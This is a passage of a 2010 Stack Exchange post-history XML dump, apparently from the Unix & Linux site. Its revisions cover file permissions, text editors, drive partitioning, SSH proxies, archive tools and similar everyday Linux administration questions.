  <row Id="2558" PostHistoryTypeId="5" PostId="1327" RevisionGUID="d90070da-83e4-49ce-8ada-12b5625a11a2" CreationDate="2010-08-27T21:15:29.880" UserId="29" Comment="explain how this works." Text="I believe you will want something like&#xD;&#xA;&#xD;&#xA;`find dir -type f -exec chmod ugo-x '{}' +`&#xD;&#xA;&#xD;&#xA;This looks for all regular files, recursively in dir, (it excludes directories, and devices) and removes the executable bit.&#xD;&#xA;&#xD;&#xA;I would start here, and then work my way towards making files that are supposed to be executable, executable.&#xD;&#xA;&#xD;&#xA;The following should work exactly as you asked for ( it will find all regular files, grep them for #! and then remove the x bits if not found )&#xD;&#xA;&#xD;&#xA;    find . -type f | xargs grep -L #! | xargs chmod ugo-x&#xD;&#xA;&#xD;&#xA;possibly a better version of the above (less pipes)&#xD;&#xA;&#xD;&#xA;    find . -type f -exec grep -L #! '{}' + | xargs chmod ugo-x " />
  <row Id="2559" PostHistoryTypeId="6" PostId="1326" RevisionGUID="d67ef644-b69e-46bb-a04a-c50ace583107" CreationDate="2010-08-27T21:16:41.843" UserId="29" Comment="edited tags" Text="ésecurityàéprocessàéselinuxàégrsecurityàéhardenedà" />
  <row Id="2560" PostHistoryTypeId="2" PostId="1328" RevisionGUID="33832ddb-8c40-4b69-8030-88a745322527" CreationDate="2010-08-27T21:23:47.030" UserId="885" Text="There's no magic bullet here. The permissions carry information which is not always redundant.&#xD;&#xA;&#xD;&#xA;If you'd done this in a system directory, your system would be in a very bad state, because you'd have to worry about setuid and setgid bits, and about files that are not supposed to be world-readable, and about files that are supposed to be group- or world-writable.&#xD;&#xA;&#xD;&#xA;In a per-user directory, you have to worry about files that aren't supposed to be world-readable. No one can help you there.&#xD;&#xA;&#xD;&#xA;As for executability, a good rule of thumb would be to make everything that doesn't look like it could be executed, be nonexecutable. The kernel can execute scripts whose first two bytes are `#!`, ELF binaries whose first four bytes are `\x7fELF` where `\x7f` is the byte with the value 12, and a few rarer file types (a.out, anything registered with `binfmt_misc`). Hence the following command should restore your permissions to a reasonable state (assumes bash 4 or zsh, otherwise use `find` to traverse the directory tree; warning, typed directly into the browser):&#xD;&#xA;&#xD;&#xA;    for x in **/*; do&#xD;&#xA;      if ! [ -f &quot;$x&quot; ]; then continue; fi # skip all but regular files&#xD;&#xA;      case $(head -c 4 &quot;$x&quot;) in&#xD;&#xA;        &quot;#!&quot;??) :;; # skip script&#xD;&#xA;        &quot;\x7fELF&quot;) :;; # skip ELF executable&#xD;&#xA;        *) chmod a-x &quot;$x&quot;;;&#xD;&#xA;      esac&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Note that there is a simple way to back up and restore permissions of a directory tree, on Linux and possibly other unices with ACL support:&#xD;&#xA;&#xD;&#xA;    getfacl -R &gt;saved-permissions&#xD;&#xA;    setfacl --restore=saved-permissions&#xD;&#xA;" />
  <row Id="2561" PostHistoryTypeId="2" PostId="1329" RevisionGUID="cc771244-1f74-491f-890a-4f3fe40babcc" CreationDate="2010-08-27T21:30:49.387" UserId="289" Text="I normally use vim, but they're both great editors.&#xD;&#xA;&#xD;&#xA;Learning to use vi was nasty, but I got through it and learned to like it.  My most frustrating moments were when the caps lock key was on.  You could try with gVim, but one of the biggest advantages with vi and emacs is the ability to do neat stuff while keeping your hands on the keyboard, and gVim is likely to keep you using the mouse.  (Learning to play roguelike games at the same time gave me practice with the cursor movement keys, but caused me to try to move diagonally in documents sometimes.) &#xD;&#xA;&#xD;&#xA;Emacs is probably more approachable.  It's modeless, and you aren't going to screw yourself up by hitting the caps lock key.  The idea of controlling the editor through typing letters with the control key down shouldn't be too foreign to modern power users, although the actual keys to do things will seem wild and arbitrary to the typical Windows/Mac OSX user.  Again, versions that allow you to use the mouse do you few favors in the long run.&#xD;&#xA;&#xD;&#xA;Both require some level of expertise to use effectively.  Unlike, say, Notepad, you can't just sit down and edit.&#xD;&#xA;&#xD;&#xA;Both are configurable, although for my money writing extensions in the same Lisp the editor is written in makes a smoother experience.  (Emacs, as normally distributed, isn't really an editor.  It's a Lisp environment tailored for text processing, with a lot of pre-written software, including an editor.  Hence the joke &quot;Emacs makes a decent shell, but it could use a better editor.&quot;)&#xD;&#xA;&#xD;&#xA;I normally use vim because, after extensive training, it feels easier.  This may be due to advantages in the mode system, where immense numbers of commands are available using one finger near the home rows, or &quot;baby duck syndrome&quot;, which applies very much to editors:  once you learn a good one, you generally stick to it.&#xD;&#xA;&#xD;&#xA;You won't go wrong using either. " />
  <row Id="2562" PostHistoryTypeId="16" PostId="1329" RevisionGUID="cc771244-1f74-491f-890a-4f3fe40babcc" CreationDate="2010-08-27T21:30:49.387" UserId="-1" />
  <row Id="2563" PostHistoryTypeId="2" PostId="1330" RevisionGUID="a9b6905d-76c4-4289-90a3-38382b2c5483" CreationDate="2010-08-27T21:43:51.217" UserId="289" Text="Or another experience, how to feel really stupid in a few easy steps that don't seem all that stupid individually.&#xD;&#xA;&#xD;&#xA;Step one:  establish an account for the kid, in case he wants to use a Linux box.  Give it a trivial password, since after all this is a home system and isn't exposed to the net.&#xD;&#xA;&#xD;&#xA;Step two:  allow time to elapse, so you don't remember step one.&#xD;&#xA;&#xD;&#xA;Step three:  open the SSH port in the firewall (actually the NAT on the router) in order to ssh in.  After all, my accounts have pretty good passwords, and it isn't like there's anything tremendously valuable.&#xD;&#xA;&#xD;&#xA;Step four:  get notification from ISP that there's some sort of DOS activity going to a Swedish site.  Assume it's probably the Windows boxes, and examine and harden them.&#xD;&#xA;&#xD;&#xA;Step five:  get notification from ISP that it's still going on.  Ask for some detail, get IP address of Swedish site, fire up Wireshark, find which box the attack is coming from.&#xD;&#xA;&#xD;&#xA;Step six:  clean up Linux box, feeling stupid.  Find the login came from a Romanian address.  Remove accounts without good passwords." />
  <row Id="2564" PostHistoryTypeId="16" PostId="1330" RevisionGUID="a9b6905d-76c4-4289-90a3-38382b2c5483" CreationDate="2010-08-27T21:43:51.217" UserId="-1" />
  <row Id="2565" PostHistoryTypeId="5" PostId="1293" RevisionGUID="bf58b508-ffed-4982-ae6d-0506c9727ccf" CreationDate="2010-08-27T22:30:31.843" UserId="880" Comment="Added SSD type" Text="I've noticed that when I do heavy write applications, the whole system slows down. To test this further I ran this to do a (relatively) low-CPU, high disk activity:&#xD;&#xA;&#xD;&#xA;    john -incremental &gt; file_on_SSD&#xD;&#xA;&#xD;&#xA;This pumps out tens of thousands of strings per second to a file on my system disk.&#xD;&#xA;&#xD;&#xA;When it's doing this, the mouse lags, TTYs become unresponsive, applications &quot;fade&quot; and generally the whole computer becomes unusable. When I can eventually Control+C `john`, the system comes back to full strength after a few seconds.&#xD;&#xA;&#xD;&#xA;This is an extreme example but I have similar issues with slightly less write-intensive activities like copying big files from fast sources or transcoding.&#xD;&#xA;&#xD;&#xA;My main OS disk is a quite fast SSD (**OCZ Agility 60GB**) with EXT4. If I write `john`'s output to a mechanical disk with EXT4, I don't experience the same slow-downs though the rate is a lot slower (SSD does ~42,000 words per second, mechanical does 8,000 w/s). The throughput may be relevant. The mechanical disk also has nothing to do with the system. It's just data.&#xD;&#xA;&#xD;&#xA;And I'm using kernel 2.6.35-2 but I've noticed this issue since I got this SSD when I was probably using  .31 or something from around that time.&#xD;&#xA;&#xD;&#xA;**So what's causing the slowdown? EXT4 issue? Kernel issue? SSD issue? All of the above? Something else?**&#xD;&#xA;&#xD;&#xA;If you think I need to run an additional test, just drop a comment telling me what to do and I'll append the result to the question." />
  <row Id="2566" PostHistoryTypeId="2" PostId="1331" RevisionGUID="bd6a16de-50d7-4d76-98cf-4590e7e3ecf6" CreationDate="2010-08-27T23:45:45.297" UserId="1282" Text="I am installing a second hard drive in my system. It currently runs an XBMC live install. I have a second hard drive I want to put in it, but I am somewhat a linux newb, and only know the basics. Since it is XBMC I believe I need to do everything from the command line. &#xD;&#xA;&#xD;&#xA;**Can anyone give me a little step by step on what I need to do with the commands and proper parameters?**&#xD;&#xA;&#xD;&#xA;As an aside I am planning on formatting as ext2. The game plan is to share this drive on my network, so I can copy files to it from my Mac running OSX. Should I use a different format?" />
  <row Id="2567" PostHistoryTypeId="1" PostId="1331" RevisionGUID="bd6a16de-50d7-4d76-98cf-4590e7e3ecf6" CreationDate="2010-08-27T23:45:45.297" UserId="1282" Text="Installing a second hard drive" />
  <row Id="2568" PostHistoryTypeId="3" PostId="1331" RevisionGUID="bd6a16de-50d7-4d76-98cf-4590e7e3ecf6" CreationDate="2010-08-27T23:45:45.297" UserId="1282" Text="épartitionàéhardwareà" />
  <row Id="2569" PostHistoryTypeId="5" PostId="1331" RevisionGUID="8d4bcc83-b8c6-444b-8073-aa9018a1abf3" CreationDate="2010-08-27T23:50:32.593" UserId="73" Comment="deleted 38 characters in body; edited tags" Text="My system currently runs an XBMC live install. I am installing a second hard drive in my system, but I am somewhat of a linux newb and only know the basics. Since it is XBMC I believe I need to do everything from the command line. &#xD;&#xA;&#xD;&#xA;**Can anyone give me a little step by step on what I need to do with the commands and proper parameters?**&#xD;&#xA;&#xD;&#xA;As an aside, I am planning on formatting as ext2. The game plan is to share this drive on my network, so I can copy files to it from my Mac running OSX. Should I use a different format?" />
  <row Id="2570" PostHistoryTypeId="6" PostId="1331" RevisionGUID="8d4bcc83-b8c6-444b-8073-aa9018a1abf3" CreationDate="2010-08-27T23:50:32.593" UserId="73" Comment="deleted 38 characters in body; edited tags" Text="épartitionàéhardwareàéxbmcà" />
  <row Id="2571" PostHistoryTypeId="2" PostId="1332" RevisionGUID="b2305346-754d-4ece-a4cb-32076877bd91" CreationDate="2010-08-28T00:37:20.023" UserId="1282" Text="So I am not sure if this is correct or the best way but this is what I did and it seems to work:&#xD;&#xA;&#xD;&#xA; 1. As root: `fdisk -l` to see all the partitions and find how mine is listed. It will be something like `/dev/sda1`. As a note the drive I installed has been used before so it had existing partitions. With an un-partitioned drive I have a feeling this will not work.&#xD;&#xA; &#xD;&#xA; 2. As root: `fdisk /dev/sda` to run fdisk. You drop the number off the end to get the physical drive name. &#xD;&#xA;	&lt;br&gt;Type: `p` to list the partitions on the drive again. This is mainly a sanity check to make sure you are working on the correct drive.&#xD;&#xA;	&lt;br&gt;If you have partitions on the drive you need to delete then type `d` and follow the prompts to delete them.&#xD;&#xA;	&lt;br&gt;Type: `n` to create a new partition. &#xD;&#xA;	&lt;br&gt;It will prompt you to create an extended or primary partition. I did primary so I did `p`.&#xD;&#xA;	&lt;br&gt;It will then prompt for partition number. I did `1`.&#xD;&#xA;	&lt;br&gt;It will then prompt for first cylinder number. I just hit enter for the default of `1`.&#xD;&#xA;	&lt;br&gt;It will then prompt for the last cylinder number. I just did the default based on my disk size and hit enter.&#xD;&#xA;	&lt;br&gt;You can the type p again to verify the new partition is entered correctly.&#xD;&#xA;	&lt;br&gt;Type `t` to enter the hex code for the type of partition you want. I did `83` for ext2.&#xD;&#xA;	&lt;br&gt;Type `w` to write the partition table.&#xD;&#xA; 3. As root: `mkfs -t ext2 /dev/sda1` to actually format the partition.&#xD;&#xA; 4. As root: `fsck -f -y /dev/sda` to check the drive, and set it up to be mounted upon each reboot.&#xD;&#xA; 5. Reboot your box." />
  <row Id="2573" PostHistoryTypeId="2" PostId="1333" RevisionGUID="72f7a0c9-c58c-4273-b12b-19796a55207f" CreationDate="2010-08-28T10:49:06.390" UserId="1131" Text="Ext2 does not do journalling. I.e. if have a power-loss or something like that, there is a probability to lose file meta-data with ext2. Plus, a fsck-run is absolutely needed after a crash which will take large amounts of time on current sized disks.&#xD;&#xA;&#xD;&#xA;Thus, just use ext3 of xfs, which do both have journaling. mkfs.xfs runs faster. ext4 is relatively new, and one is usually a little conservative when it comes to filesystems.&#xD;&#xA;&#xD;&#xA;If you want to use your complete disk under linux, you do not even need to partition it. You can just use /dev/sdX then when creating or mounting the disk.&#xD;&#xA;&#xD;&#xA;If you want to partition it, use *cfdisk*, since it has a convenient user interface.&#xD;&#xA;&#xD;&#xA;Be sure to use the right devices for creating the filesystem. Check via&#xD;&#xA;&#xD;&#xA;    ls /dev/hd*&#xD;&#xA;    ls /dev/sd*&#xD;&#xA;    fdisk -l&#xD;&#xA;    mount&#xD;&#xA;&#xD;&#xA;What devices are available and already in use.&#xD;&#xA;&#xD;&#xA;    hdparm -i /dev/sdX&#xD;&#xA;&#xD;&#xA;shows the vendor/model information and size and more to double check, if you get the right device.&#xD;&#xA;&#xD;&#xA;Create filesystem then:&#xD;&#xA;&#xD;&#xA;     mkfs.ext3 /dev/sdX&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    mkfs.xfs /dev/sdX&#xD;&#xA;&#xD;&#xA;Test to mount it via&#xD;&#xA;&#xD;&#xA;    mount /dev/sdX /mnt/point&#xD;&#xA;&#xD;&#xA;If the mount point does not exist, you have to create it first via mkdir.&#xD;&#xA;&#xD;&#xA;You can change the ownership of the base directory after mounting it via&#xD;&#xA;&#xD;&#xA;    chown user:group /mnt/point&#xD;&#xA;&#xD;&#xA;To mount the disk after each boot, usually you configure it via /etc/fstab&#xD;&#xA;&#xD;&#xA;    /dev/sdX /mnt/point auto auto,defaults 0 0&#xD;&#xA;&#xD;&#xA;Since you use a Live-CD, perhaps they have a different style of configuration.&#xD;&#xA;&#xD;&#xA;To check if some hardware problems happened during mkfs you can enter&#xD;&#xA;&#xD;&#xA;    dmesg&#xD;&#xA;&#xD;&#xA;and check the most recent output.&#xD;&#xA;&#xD;&#xA;On alternative to having to specify a device name in fstab is to specify a label during filesystem creation (e.g. mkfs.ext3 -L name) and use LABEL=name in the fstab (or with mount) instead of the device name.&#xD;&#xA;" />
  <row Id="2574" PostHistoryTypeId="2" PostId="1334" RevisionGUID="36d04b4d-595d-423a-be0a-9e5195b933ce" CreationDate="2010-08-28T12:31:38.153" UserId="1290" Text="I don't know if that's what you're looking for, but you can use `ssh -D4545 domain.com` to open a socks proxy tunnel at port 4545 to the desired machine from your computer.&#xD;&#xA;&#xD;&#xA;you can then set up that proxy in your application (say Firefox) and use a plugin to quickly engage and disengage the proxy settings (something like TorButton).&#xD;&#xA;&#xD;&#xA;There is one drawback though, when your target host has more than one network device, you cannot control which one will your data take to leave the machine you're tunneling to.&#xD;&#xA;&#xD;&#xA;This can be circumvented by installing a normal proxy server on that machine, routing the traffic from, say, `localhost:3128` to the desired network interface, and then doing a `ssh -L4545:localhost:3128` and pointing all applications to 4545 that ought to use the proxy.&#xD;&#xA;&#xD;&#xA;This gives you greater control on the proxy side, as the integrated proxy of SSH is not really configurable." />
  <row Id="2575" PostHistoryTypeId="2" PostId="1335" RevisionGUID="a7797805-579d-481d-a6a8-bdef2369da88" CreationDate="2010-08-28T12:42:09.300" UserId="1291" Text="Since you want to use a password that is something other than the one for your normal account, try security/pam_pwdfile from the ports tree.  Basically, it allows you to use an alternate file (format: &quot;username:crypted_password&quot;) to authenticate against. To use it put the following line in /etc/pam.d/sshd **right before** the line for pam_opie:&#xD;&#xA;&#xD;&#xA;  auth &amp;nbsp; &amp;nbsp; required &amp;nbsp; &amp;nbsp; /usr/local/lib/pam_pwdfile.so &amp;nbsp; &amp;nbsp; pwdfile &amp;nbsp; &amp;nbsp; /path/to/pwd/file&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2576" PostHistoryTypeId="2" PostId="1336" RevisionGUID="50368ff5-ca19-4d99-81ff-bcccce66b984" CreationDate="2010-08-28T13:30:04.283" UserId="1290" Text="I use Vim/gVim.&#xD;&#xA;&#xD;&#xA;I used to use Emacs, but I found gVim to generally work faster on slower machines, plus, due to its POSIX requirement, vi is available almost everywhere.&#xD;&#xA;&#xD;&#xA;When using Vim or gVim, I use the mouse a lot, support for it is great, I think.&#xD;&#xA;&#xD;&#xA;I started out using Emacs, because it was easier to use for a novice user. I found usage of nano to be quite error prone for some reason, and at some point I realized I'm much more comfortable with using vi.&#xD;&#xA;&#xD;&#xA;Right now, it's a mixture. I use Eclipse and gedit quite often, too. Vim, however, is still my favorite and most used editor." />
  <row Id="2577" PostHistoryTypeId="16" PostId="1336" RevisionGUID="50368ff5-ca19-4d99-81ff-bcccce66b984" CreationDate="2010-08-28T13:30:04.283" UserId="-1" />
  <row Id="2578" PostHistoryTypeId="2" PostId="1337" RevisionGUID="f65158e4-d7f8-468c-b455-230e5d43637d" CreationDate="2010-08-28T14:01:40.097" UserId="29" Text="I know mplayer has some heartbeat setting but I don't recall what it is, could anyone tell me?&#xD;&#xA;&#xD;&#xA;*another one of those annoying things that used to just work and somewhere along the line stopped being default*" />
  <row Id="2579" PostHistoryTypeId="1" PostId="1337" RevisionGUID="f65158e4-d7f8-468c-b455-230e5d43637d" CreationDate="2010-08-28T14:01:40.097" UserId="29" Text="Tell mplayer to prevent the screensaver from kicking in while playing" />
  <row Id="2580" PostHistoryTypeId="3" PostId="1337" RevisionGUID="f65158e4-d7f8-468c-b455-230e5d43637d" CreationDate="2010-08-28T14:01:40.097" UserId="29" Text="émplayeràéscreensaverà" />
  <row Id="2581" PostHistoryTypeId="2" PostId="1338" RevisionGUID="fa925aab-3676-4602-9b23-0e04847c79d6" CreationDate="2010-08-28T14:07:39.440" UserId="171" Text="What is the Fedora equivalent of the Debian build-essential package? " />
  <row Id="2582" PostHistoryTypeId="1" PostId="1338" RevisionGUID="fa925aab-3676-4602-9b23-0e04847c79d6" CreationDate="2010-08-28T14:07:39.440" UserId="171" Text="What is the Fedora equivalent of the Debian build-essential package?" />
  <row Id="2583" PostHistoryTypeId="3" PostId="1338" RevisionGUID="fa925aab-3676-4602-9b23-0e04847c79d6" CreationDate="2010-08-28T14:07:39.440" UserId="171" Text="éfedoraàéinstallàécompilingà" />
  <row Id="2584" PostHistoryTypeId="2" PostId="1339" RevisionGUID="f99a529e-6f47-44c4-ba1b-d06dbde91de1" CreationDate="2010-08-28T15:18:52.953" UserId="73" Text="`mplayer` has the switch `-heartbeat-cmd` to run a command every 30 seconds, but as the man page says:&#xD;&#xA;&#xD;&#xA;&gt; This can be &quot;misused&quot; to disable screensavers that do not support the proper X API&#xD;&#xA;&#xD;&#xA;The actual switch meant to disable screensavers is `-stop-xscreensaver`; you should probably try that first" />
  <row Id="2585" PostHistoryTypeId="2" PostId="1340" RevisionGUID="c1b7150f-2a0e-4cb0-9d08-9a02d13b4577" CreationDate="2010-08-28T15:43:17.360" UserId="131" Text="At the moment, if I download a compressed file, it could be any of a .tar.gz archive, a tar.bz2 arhive, a .zip archive or a .gz archive. And each time I do so, I have to remember what the command line options for that programming is.&#xD;&#xA;&#xD;&#xA;Is there any CLI program where I can just go:&#xD;&#xA;&#xD;&#xA;undocompression somefile.??&#xD;&#xA;&#xD;&#xA;and let it figure out what format the archive is in? (overly long name used to avoid conflicting with any real program)" />
  <row Id="2586" PostHistoryTypeId="1" PostId="1340" RevisionGUID="c1b7150f-2a0e-4cb0-9d08-9a02d13b4577" CreationDate="2010-08-28T15:43:17.360" UserId="131" Text="Is there any program to provide a consistent interface across multiple archive types?" />
  <row Id="2587" PostHistoryTypeId="3" PostId="1340" RevisionGUID="c1b7150f-2a0e-4cb0-9d08-9a02d13b4577" CreationDate="2010-08-28T15:43:17.360" UserId="131" Text="écommandölineà" />
  <row Id="2588" PostHistoryTypeId="2" PostId="1341" RevisionGUID="0f1ed1e4-f552-4ea6-8376-7385853d685a" CreationDate="2010-08-28T15:49:18.993" UserId="1131" Text="GNU tar (and star) has at least some compression auto-detection capabilities:&#xD;&#xA;&#xD;&#xA;    tar xf foo.tar.gz&#xD;&#xA;    tar xf foo.tar.bz&#xD;&#xA;&#xD;&#xA;just work.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2589" PostHistoryTypeId="6" PostId="1340" RevisionGUID="ffde6b75-f5a5-45f6-a552-f3d334d0dd6b" CreationDate="2010-08-28T16:49:38.607" UserId="29" Comment="edited tags" Text="écommandölineàéarchiveàécompressionà" />
  <row Id="2590" PostHistoryTypeId="2" PostId="1342" RevisionGUID="c04d29c5-926c-418c-a6a7-32dd1d605585" CreationDate="2010-08-28T16:52:57.557" UserId="29" Text="I think `ark` the *KDE archiving tool* can be run without a GUI. From the `ark` manpage&#xD;&#xA;&#xD;&#xA;    ark --batch archive.tar.bz2&#xD;&#xA;  &#xD;&#xA;*Will extract archive.tar.bz2 into the current directory without showing any GUI.*&#xD;&#xA;" />
  <row Id="2591" PostHistoryTypeId="5" PostId="1342" RevisionGUID="4bdc01f2-3324-497d-873c-348e0aef4b88" CreationDate="2010-08-28T17:04:27.363" UserId="29" Comment="add more info" Text="I think `ark` the *KDE archiving tool* can be run without a GUI. From the `ark` manpage&#xD;&#xA;&#xD;&#xA;    ark --batch archive.tar.bz2&#xD;&#xA;  &#xD;&#xA;*Will extract archive.tar.bz2 into the current directory without showing any GUI.*&#xD;&#xA;&#xD;&#xA;Arks support of various archive formats depends on which apps you have installed (e.g. for rar it depends on unrar ), but I don't know of any formats it can't handle.&#xD;&#xA;" />
  <row Id="2592" PostHistoryTypeId="2" PostId="1343" RevisionGUID="beca2cb2-506a-4f2d-8cc0-86457bb1a1b4" CreationDate="2010-08-28T17:19:45.787" UserId="912" Text="How can I write a shell script that shows the results in real time?&#xD;&#xA;&#xD;&#xA;Something like the [`top`][1] command that updates the results after some fixed intervals of time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Top_(software)" />
  <row Id="2593" PostHistoryTypeId="1" PostId="1343" RevisionGUID="beca2cb2-506a-4f2d-8cc0-86457bb1a1b4" CreationDate="2010-08-28T17:19:45.787" UserId="912" Text="How does &quot;top&quot; command show live results?" />
  <row Id="2594" PostHistoryTypeId="3" PostId="1343" RevisionGUID="beca2cb2-506a-4f2d-8cc0-86457bb1a1b4" CreationDate="2010-08-28T17:19:45.787" UserId="912" Text="élinuxàéunixàétopà" />
  <row Id="2595" PostHistoryTypeId="5" PostId="1343" RevisionGUID="03a68173-2543-4fc9-9a2a-6724ccdb027f" CreationDate="2010-08-28T17:26:28.473" UserId="912" Comment="added 55 characters in body" Text="How can I write a shell script that shows the results in real time?&#xD;&#xA;&#xD;&#xA;Something like the [`top`][1] command that updates the results after some fixed intervals of time.&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Top_(software)&#xD;&#xA;  [2]: http://i.imgur.com/ZGsik.gif" />
  <row Id="2596" PostHistoryTypeId="2" PostId="1344" RevisionGUID="1b27abe5-512d-4a92-aa42-3a8a7d47785b" CreationDate="2010-08-28T18:04:31.683" UserId="1295" Text="The closest equivalent would probably be to install the below packages:&#xD;&#xA;&#xD;&#xA;    su -    &#xD;&#xA;    yum install make automake gcc gcc-c++ kernel-devel&#xD;&#xA;&#xD;&#xA;However, if you don't care about exact equivalence and are ok with pulling in a lot of packages you can install all the development tools and libraries with the below command.&#xD;&#xA;&#xD;&#xA;    su -&#xD;&#xA;    yum groupinstall &quot;Development Tools&quot; &quot;Development Libraries&quot;" />
  <row Id="2597" PostHistoryTypeId="2" PostId="1345" RevisionGUID="fb728a57-4197-4586-8fee-26df55b070c0" CreationDate="2010-08-28T18:07:35.910" UserId="57" Text="You can use [p7zip][1]. It automatically identifies the archive type and decompress it.&#xD;&#xA;&#xD;&#xA;&gt; p7zip is the command line version of&#xD;&#xA;&gt; [7-Zip][2] for Unix/Linux, made by an&#xD;&#xA;&gt; independent developer.&#xD;&#xA;&#xD;&#xA;`7z e &lt;file_name&gt;`&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/p7zip/files/&#xD;&#xA;  [2]: http://www.7-zip.org" />
  <row Id="2598" PostHistoryTypeId="2" PostId="1346" RevisionGUID="187fe9ae-2283-425e-9fa6-b782027d7785" CreationDate="2010-08-28T18:54:09.253" UserId="382" Text="It would help if you were a lot more specific about what you are trying to do.&#xD;&#xA;&#xD;&#xA;Here is an *extremely* simplistic example:&#xD;&#xA;&#xD;&#xA;    while true&#xD;&#xA;    do&#xD;&#xA;        clear&#xD;&#xA;        date&#xD;&#xA;        sleep 1&#xD;&#xA;    done" />
  <row Id="2599" PostHistoryTypeId="2" PostId="1347" RevisionGUID="7f3badf6-aad1-4ce8-8f26-b1454e02c978" CreationDate="2010-08-28T19:42:07.383" UserId="1298" Text="On a Debian installation back in 1999.&#xD;&#xA;14 floppy disk for the basic installation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I tried to get xfree86 working.&#xD;&#xA;But X didn't start.&#xD;&#xA;I had to find out the settings of my graphics card (memory, horizontal and vertical refresh rate) which was completely undocumented.&#xD;&#xA;It turned out, 'superprobe' found out the correct amount of internal graphics card memory (1024 kB).&#xD;&#xA;&#xD;&#xA;But it took me nearly a week to find out that the resolution setting (1024x768) didn't work. I had to switch it to 640x480 until the graphics card finally worked (at 1024 x 768... buuuuuug....).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I tried to get the serial port mouse to work on COM1.&#xD;&#xA;So I tried to get the mouse to work. &#xD;&#xA;Reading a book (back then had no usable hispeed internet), tried with &#xD;&#xA;&#xD;&#xA;    /dev/ttys0&#xD;&#xA;&#xD;&#xA;And it didn't work and didn't work.&#xD;&#xA;It took me nearly another week to find out this was because i needed to type the S is uppercase, not lowercase...&#xD;&#xA;&#xD;&#xA;    /dev/ttyS0&#xD;&#xA;&#xD;&#xA;It was about then when i finally realized what 'case-sensitive' really means." />
  <row Id="2600" PostHistoryTypeId="16" PostId="1347" RevisionGUID="7f3badf6-aad1-4ce8-8f26-b1454e02c978" CreationDate="2010-08-28T19:42:07.383" UserId="-1" />
  <row Id="2601" PostHistoryTypeId="2" PostId="1348" RevisionGUID="2a7aa7c5-7e9c-496f-a796-54ee58028cab" CreationDate="2010-08-28T19:43:51.353" UserId="1298" Text="You can run find and give it chmod +whatever as execute argument." />
  <row Id="2602" PostHistoryTypeId="2" PostId="1349" RevisionGUID="662c0e46-ee53-4e7d-a7d2-cfe58da5078f" CreationDate="2010-08-28T19:51:32.157" UserId="1298" Text="http://www.youtube.com/watch?v=bDxMJQLXmBE&lt;br/&gt;&#xD;&#xA;http://www.gnu.org/gnu/manifesto.html&lt;br/&gt;&#xD;&#xA;www.kernel.org&lt;br/&gt;&#xD;&#xA;http://www.kernel.org/pub/linux/docs/lkml/&lt;br/&gt;" />
  <row Id="2603" PostHistoryTypeId="5" PostId="1348" RevisionGUID="b0877fae-0b38-49a8-bdf9-7ed04cfdde18" CreationDate="2010-08-28T20:04:30.280" UserId="1298" Comment="added 115 characters in body; added 36 characters in body" Text="You can run find and give it chmod +whatever as execute argument.&#xD;&#xA;&#xD;&#xA;You should be able to find the post that contains the exact information when you search on ubuntuforums for user witchcraft and permission or chmod" />
  <row Id="2604" PostHistoryTypeId="2" PostId="1350" RevisionGUID="9740b9ea-9f11-4930-871b-9cc81e1c1f1e" CreationDate="2010-08-28T20:09:35.140" UserId="1298" Text="All you need to do is format the usb stick in a format linux can boot from, for example ext3.&#xD;&#xA;&#xD;&#xA;Then you copy the content of a live-cd or full distro on the USB stick.&#xD;&#xA;Afterwards, you need to mark the USB parition as 'ACTIVE' somehow.&#xD;&#xA;&#xD;&#xA;Then you need to go into the BIOS of the computer and set the primary boot device to USB.&#xD;&#xA;Then you restart.&#xD;&#xA;&#xD;&#xA;If all goes well, Linux boots.&#xD;&#xA;Something was not done correctly.&#xD;&#xA;It's clearly possible, I've done it on my Dell computer." />
  <row Id="2605" PostHistoryTypeId="5" PostId="1349" RevisionGUID="7334ed3a-f63a-4707-ad53-46a75649003d" CreationDate="2010-08-28T20:10:17.600" UserId="1298" Comment="added 7 characters in body" Text="http://www.youtube.com/watch?v=bDxMJQLXmBE&lt;br/&gt;&#xD;&#xA;http://www.gnu.org/gnu/manifesto.html&lt;br/&gt;&#xD;&#xA;http://www.kernel.org&lt;br/&gt;&#xD;&#xA;http://www.kernel.org/pub/linux/docs/lkml/&lt;br/&gt;" />
  <row Id="2606" PostHistoryTypeId="2" PostId="1351" RevisionGUID="d9c2c031-f23b-486b-bde3-01f30426ccf5" CreationDate="2010-08-28T20:41:01.113" UserId="1290" Text="I found [linuxquestions.org](http://linuxquestions.org) to be a great forum, especially for beginners.&#xD;&#xA;&#xD;&#xA;I still ask a question sometimes there, when I need a somewhat quick response and don't want to use Usenet, especially when it's concerning legacy hardware, etc.&#xD;&#xA;&#xD;&#xA;Don't know if you want to put this on your website, but it's definitely a good place to start." />
  <row Id="2607" PostHistoryTypeId="5" PostId="1201" RevisionGUID="f5b73bf1-1712-4b2e-ae54-913549e7b9cd" CreationDate="2010-08-28T20:58:37.833" UserId="138" Comment="removed some edit detritus" Text="If you don't mind writing a small script to do what you need, I'd recommend doing it in &lt;a href=&quot;http://www.r-project.org/&quot;&gt;R&lt;/a&gt;, the open-source statistics system.&#xD;&#xA;&#xD;&#xA;For instance, consider this one-liner to get a list of 100 Gaussian-distributed numbers:&#xD;&#xA;&#xD;&#xA;    $ Rscript -e 'write(rnorm(100) * 100 + 100, &quot;&quot;, 1)'&#xD;&#xA;    234.2903&#xD;&#xA;    -25.53289&#xD;&#xA;    168.0262&#xD;&#xA;    -28.49810&#xD;&#xA;    105.0687&#xD;&#xA;    85.97355&#xD;&#xA;    269.5072&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Let's break this down.&#xD;&#xA;&#xD;&#xA;The standard `R` command brings you into an interactive programming environment, which is fine if you're trying to work out how to do something by hand or are building something up incrementally, but from your question, it sounds like you just need a list of numbers to send to another program.  So instead, we use `Rscript`, which behaves more like a traditional Unix script interpreter: you can pass it the name of a file containing an R script, or use the standard `-e` flag to pass the entire program text on the command line.&#xD;&#xA;&#xD;&#xA;&lt;a 